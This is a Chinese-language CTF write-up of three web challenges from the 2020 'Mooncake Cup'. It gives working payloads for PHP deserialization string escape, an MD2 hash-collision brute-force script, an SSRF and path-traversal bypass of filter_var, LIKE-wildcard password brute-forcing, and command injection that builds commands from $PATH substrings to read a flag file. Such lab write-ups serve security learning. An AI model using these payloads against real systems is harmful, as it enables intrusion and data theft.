2020 月饼杯 WEB

应该算是show平台自己办的比赛,也玩过36D杯,感觉他们办的比赛还是蛮有意思的,这次题目名也挺好玩的,感觉蛮用心的。

web1_此夜圆

给了源码:

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

很明显的反序列化题,题目需要密码为’yu22x’,就意味着设置的 $uname 要造成溢出的效果,使得密码被需要的字符串替换。

结合 filter() 函数:

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

其实就是字符串溢出,参考文章:详解PHP反序列化中的字符逃逸 ,里面写的蛮清楚了。

最后payload:

1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

大概比赛开始20分钟就解出来了,但是平台后面实际上是没有这个flag文件,解出来也读不到,就很蛋疼,后来题目修好了,也没有抢到血。

web2_故人心

题目后面放了hint,没放hint的时候一个师兄爆了很久爆到睡觉,听说放了hint又起床远控电脑接着爆,这就是CTFer吗

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

第一层过滤,利用PHP精度,当一个极小数平方超过PHP浮点数最大表示小数点位数时,PHP判定为0:

$a = e-200

第二层就要爆很久,用的是md2碰撞,后来题目放了hint,得知已知位数后,很快就爆出来了。师兄脚本:

from Crypto.Hash import MD2

# payload = "QWERTYUIOPASDFGHJKLZXCVBNM"
# payload = "qwertyuiopasdfghjklzxcvbnm"
payload = "0123456789"


# payload = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789"


def calc_hash(s):
    hash_value = MD2.new('0e' + s + '024452').hexdigest()
    # hash_value = MD2.new(MD2.new('0e' + s + '48399').hexdigest()).hexdigest()
    if hash_value[0:2] == '0e' and hash_value[2:32].isdigit():
        print(s, hash_value)


def getStr(payload, s, slen):
    if len(s) == slen:
        # Custom string
        calc_hash(s)
        return s
    for j in range(len(payload)):
        sl = s + payload[j]
        getStr(payload, sl, slen)


if __name__ == '__main__':
    getStr(payload, '', 3)  # b
# getStr(payload, '', 4)  # c

接下来需要SSRF的操作,我刚开始想的是双@@绕过,试了很久没有过。后面师兄发了一个参考链接:ssrf绕过filter_var函数使用file_get_contents读取任意文件。发现是原题,果然是我太菜了。

url=0://ctfshow.com/../../../../../../fl0g.txt

提交以后,会先识别ctfshow.com为有意义的网址,绕过第一层,接着符合正则匹配。在PHP中,向目标请求时会先判断使用的协议,如果协议无法识别,就默认为是个目录,这样就可以通过目录穿越读到f10g.txt文件。

web3_莫负婵娟

这题我没有做出来,原因是题目中使用了binary(),当时以为是传入的东西都会被转化为二进制,所以主要考虑的方向是括号闭合。后来发现没有发生类型转化,影响的只是数据的存储而已,做还是可以做的。

然后接下来要做的就是利用通配符模糊测试密码长度。经测试发现 % 被WAF,但是 _ 还可以使用,利用 _ 爆破密码长度(_匹配单个字符)。

import requests

url = "http://6af3f7f0-3a74-41bf-8777-a5efd7344510.chall.ctf.show/login.php"

for i in range(50):
    exp = '_' * i
    payload = {'username': 'yu22x',
               'password': exp}
    headers = {
        'Cookie': 'PHPSESSID=rhnepd32ekcb0r6amr89hhppmk'
    }
    response = requests.request("POST", url, headers=headers, data=payload, files=[])
    if response.text.find('wrong username or password') == -1:
        print(i)
        print(response.text.encode('utf-8'))

返回结果:

32
b'<div align="center">I have filtered all the characters. Why can you come in? get out!</div>'

说明密码长度有32位长。写个脚本爆破密码:

import requests
import string

url = "http://6af3f7f0-3a74-41bf-8777-a5efd7344510.chall.ctf.show/login.php"

password = ''
headers = {
    'Cookie': 'PHPSESSID=rhnepd32ekcb0r6amr89hhppmk'
}
files = []

for i in range(32):
    for j in string.digits + string.ascii_letters:
        exp = '_' * (32 - i - 1)
        payload = {'username': 'yu22x',
                   'password': password + j + exp
                   }
        response = requests.request("POST", url=url, headers=headers, data=payload, files=[])
        if response.text.find('wrong username or password') == -1:
            password += j
            break

print(password)

爆出来的密码:

67815b0c009ee970fe4014abaa3Fa6A0

登录之后是一个内部网测试平台

初步推测是SSRF漏洞。

尝试穿越目录,发现被waf了。

写个脚本,fuzz所有可见字符(注意修改Cookies):

import string
import requests

url = "http://a9359d73-7931-4f4f-b3f6-1eb0ffa37f5d.chall.ctf.show/P1099.php"

file = open('fuzz.txt', 'w')

for i in string.printable:
    payload = {'ip': i}
    files = [

    ]
    headers = {
        'Cookie': 'UM_distinctid=174a4cad32570e-00904607c43d2f-333769-240000-174a4cad326103d; PHPSESSID=q8f5oki8d5qi9lfvm3l6jmaiq2'
    }
    response = requests.request("POST", url, headers=headers, data=payload, files=files)
    if response.text.find('evil') == -1:
        file.write(i)

这个是fuzz.txt文件目录下的字符:

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#$.:;?@_{}~ 

由于Linux系统下的大小写敏感,直接使用ls不可以,尝试利用Linux系统下$PATH变量:

截取字符串:

遍历:

127.0.0.1;${PATH:5:1}${PATH:2:1}

找到有flag文件:

读取文件,用 $cat flag.php 或者 $nl flag.txt 都可以

127.0.0.1;${PATH:7:1}${PATH:8:1}${PATH:92:1} ????.???
127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???

但是实际上测试只有 $nl 是可以的,$cat 不知道为什么不可以。本机测试是可以的。

发送后就可以拿到flag了。

写在最后的话

官方第一时间放了wp,所以我感觉应该是没多少人看这篇文章了,但还是祝愿看到文章的师傅中秋节快乐

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇